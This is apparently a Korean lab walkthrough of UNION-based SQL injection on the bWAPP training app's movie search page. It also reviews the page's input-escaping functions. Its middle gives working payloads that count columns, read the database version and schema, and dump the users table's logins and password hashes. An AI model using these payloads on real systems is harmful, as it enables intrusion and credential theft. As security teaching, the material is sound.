SQL injection
- 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격 기법
- 영화를 검색하는 페이지이며, 아무 입력값 없이 Search를 누르면 모든 영화 목록들이 출력됨
- 해당 페이지에 SQL Injection 취약점 존재 여부를 확인하기 위해 '(작은따옴표) 입력 후 Search 클릭
* 데이터베이스에서는 '(작은따옴표)로 문자 데이터를 구분하기 때문
- 그 결과로 오류메세지가 출력되며, SQL Injection 취약점이 존재하는 것과 MySQL을 사용하는 것을 알 수 있음.
* 데이터베이스별 한줄 주석 : MySQL : # / Oracle : -- / MSSQL : -- / MariaDB : --, # / Sybase IQ : --, //, % / Sybase ASE : -- / DB2 : --
- 좀 더 자세한 정보를 알아내기 위해 UNION SELECT 구문을 사용
UNION문
① 두 개 이상의 SELECT 문을 결합하고자 할 때 사용
② 선행 쿼리의 SELECT 문의 컬럼 갯수와 후행 쿼리의 SELECT 문의 컬럼 갯수와 데이터 형식이 동일해야 함
③ 중복을 제거하여 출력 / UNION ALL은 중복을 제거하지 않고 모두 출력
- UNION 구문을 사용하기 위해서는 먼저 SELECT 문의 컬럼 갯수를 파악해야 하므로 다음 SQL 구문을 실행함
<수행 구문>
' UNION SELECT 1,2...#
<구문 분석>
' : 선행 질의문 종료
UNION : 선행 질의문과 후행 질의문 합치기
1,2,3 ... : 컬럼 갯수
# : MySQL 한줄 주석으로, 이후 구문들은 주석으로 처리되어 무시
' UNION SELECT 1# ------------------- 에러발생
' UNION SELECT 1,2# ----------------- 에러발생
' UNION SELECT 1,2,3# --------------- 에러발생
' UNION SELECT 1,2,3,4# ------------- 에러발생
' UNION SELECT 1,2,3,4,5# ----------- 에러발생
' UNION SELECT 1,2,3,4,5,6# --------- 에러발생
' UNION SELECT 1,2,3,4,5,6,7# ------- 정상실행
- 위의 결과를 통해 컬럼 갯수는 7개이며, 출력되는 컬럼 번호는 2, 3, 4, 5번인 것을 알 수 있음
- 이후, 2, 3, 4, 5번 칼럼 값에 시스템 변수 혹은 메타데이터를 적용해 데이터베이스에 대한 정보를 알 수 있음
① 데이터베이스 버전 확인
<수행 구문>
' UNION SELECT 1, @@version, 3, 4, 5, 6, 7#
* @@version : 데이터베이스 버전이 저장된 시스템 변수
② 테이블명 확인
<수행 구문>
' UNION SELECT 1, table_name, 3, 4, 5, 6, 7 FROM information_schema.tables #
<구문 분석>
1) table_name : 테이블 명
2) information_schema : MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB
3) information_schema.tables : information_schema 데이터베이스 내의 tables 테이블(생성된 모든 테이블 정보)
<전체 구문>
information_schema 데이터베이스의 tables 테이블의 테이블 이름을 두번째 컬럼에 출력
③ 테이블 정보 확인
<수행 구문>
' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='users' #
<구문 분석>
1) column_name : 열이름
2) information_schema.columns : information_schema 데이터베이스 내의 columns 테이블(모든 스키마의 컬럼 확인)
3) table_name='users' : table_name(테이블 명)이 users인 테이블
<전체 구문>
information_schema 데이터베이스의 columns 테이블에서 테이블 이름이 users인 테이블의 column 이름을 두번째 컬럼에 출력
④ 계정 정보 확인
<수행 구문>
' UNION SELECT 1, id, login, secret, password, 6, 7 from users #
<전체 구문>
users 테이블에서 id, login, secret, password 컬럼의 내용을 출력
* 출력되는 컬럼은 4개 이므로 추가로 출력을 원하는 컬럼이 있는 경우 "concat(첫번째컬럼, 두번째컬럼)"을 사용
* concat(str1, str2 ..) : 명시된 문자열을 병합하여 반환하는 함수
- bee 계정의 비밀번호(6885858486f31043e5839c735d99457f045affd0 -> bug)를 알 수 있음
- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음
① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음
② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증
③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증
- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증
① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환
② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프
'취약점 > Injection' 카테고리의 다른 글
Zyxel Firewall Unauthenticated remote command injection (CVE-2022-30525) (0) | 2023.02.05 |
---|---|
비박스 PHP Code Injection (0) | 2023.01.16 |
JSON 기반 SQL Injeciton 통한 WAF 우회 공격 (0) | 2023.01.09 |
Linear eMerge E3-Series devices Command Injections (CVE-2019-7256) (0) | 2022.12.06 |
비박스(BWAPP) SQL Injection - Blind - Boolean-Based (0) | 2022.10.04 |